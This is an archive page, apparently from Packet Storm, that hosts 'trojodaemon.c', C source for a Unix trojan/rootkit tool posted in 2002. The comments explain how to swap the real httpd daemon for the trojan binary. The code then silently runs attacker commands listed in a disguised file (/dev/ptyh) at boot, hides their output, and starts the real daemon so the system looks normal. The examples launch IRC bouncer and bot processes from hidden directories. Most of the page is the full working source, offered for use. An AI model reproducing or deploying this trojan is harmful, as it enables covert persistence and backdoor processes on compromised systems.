never stop questioning

trojodaemon.c

trojodaemon.c
Posted May 29, 2002
Authored by Devilnet

Trojodaemon is a simple tool which allows you to start a process at boot.

tags | tool, rootkit
systems | unix
MD5 | 4ee3bb29be054cab63922eb934cfec60

trojodaemon.c

Change Mirror Download
/*   ......:::: daemon trojo by DeV^AwaY ::::......
*
*
* [*] --> coded by: DeV^AwaY
* [*] ------------> devilnet@freemail.it
* [*] ------------> ircnet/efnet@DeV^AwaY
* [*] --> V3rsion: 0.2
*
* install:
* To install this trojan you should copy the real daemon in another
* directory !WITH THE SOME NAME!. Then you should compile this source on the
* real daemon file in its some directory.
* So write in /dev/ptyh all path/commands to execute with
* daemon. If you must use options with commands you must divide they
* with the $ character.
* Ex:
*
* cat /dev/ptyh
* /home/hacker/. /psybnc <-- without options
* /home/hacker/bot/eggdrop$ -m bot.conf -t <-- with options
* /home/hacker/. $ <-- to run the file ". "
*
* Default
* trojo daemon /usr/sbin/httpd
* real deamon /usr/bin/httpd #EXE_PATH
*
*/

#include <stdio.h>
#include <stdlib.h>

#define TRJ_PATH "/dev/ptyh"
#define EXE_PATH "/usr/bin/httpd"

main (int argc,char **argv,char **envp) {

char fstr[200],**addr=malloc(200),slas[500],slaw[500];
int i,ic=1,deic,sllen;
FILE *ofile;

if (fork() == 0) {
if ((ofile=fopen(TRJ_PATH,"r"))==NULL) exit(0);

while (!feof(ofile)) {
fgets(fstr, 200, ofile);
for (i=0; i<strlen(fstr); i++) if (fstr[i]=='\n') fstr[i]='\0';
addr[ic]=malloc(200);
strcpy(addr[ic],fstr);
ic++;
}

deic=ic-2; ic=0;

while (ic!=deic) {
ic++;
i=0;
memset(slaw, 0, 500);
strcpy(slas,addr[ic]);
sllen=strlen(slas);

while (i!=sllen) {
if (slas[i]=='$') {
(slas[i]='"');
goto out; }
else i++;
}

out:
if (sllen==i) strcat(slas,"\"");
strncpy(slaw,slas,i);
if ((ofile=fopen(slaw,"r"))==NULL) exit(0);
strcpy(addr[ic],slas);
strcpy(addr[ic],"cd \"");

while (sllen!=0) {
if (slas[sllen]=='/') goto out2;
else sllen--;
}
out2:
strncat(addr[ic],slas,sllen);
strcat(addr[ic],"\" && \".");
strcat(addr[ic],slas+sllen);
strcat(addr[ic]," 1>/dev/null 2>/dev/null &");
system(addr[ic]);
}
exit(0);
}

if ((ofile=fopen(EXE_PATH,"r"))==NULL) {
printf("bash: %s: No such file or directory\n",EXE_PATH);
exit(0);
}

execve(EXE_PATH, argv, envp);

}

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

May 2012

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    37 Files
  • 2
    May 2nd
    53 Files
  • 3
    May 3rd
    33 Files
  • 4
    May 4th
    4 Files
  • 5
    May 5th
    10 Files
  • 6
    May 6th
    17 Files
  • 7
    May 7th
    19 Files
  • 8
    May 8th
    36 Files
  • 9
    May 9th
    34 Files
  • 10
    May 10th
    35 Files
  • 11
    May 11th
    20 Files
  • 12
    May 12th
    18 Files
  • 13
    May 13th
    11 Files
  • 14
    May 14th
    27 Files
  • 15
    May 15th
    58 Files
  • 16
    May 16th
    54 Files
  • 17
    May 17th
    25 Files
  • 18
    May 18th
    53 Files
  • 19
    May 19th
    9 Files
  • 20
    May 20th
    15 Files
  • 21
    May 21st
    25 Files
  • 22
    May 22nd
    32 Files
  • 23
    May 23rd
    35 Files
  • 24
    May 24th
    26 Files
  • 25
    May 25th
    25 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2012 Packet Storm. All rights reserved.

close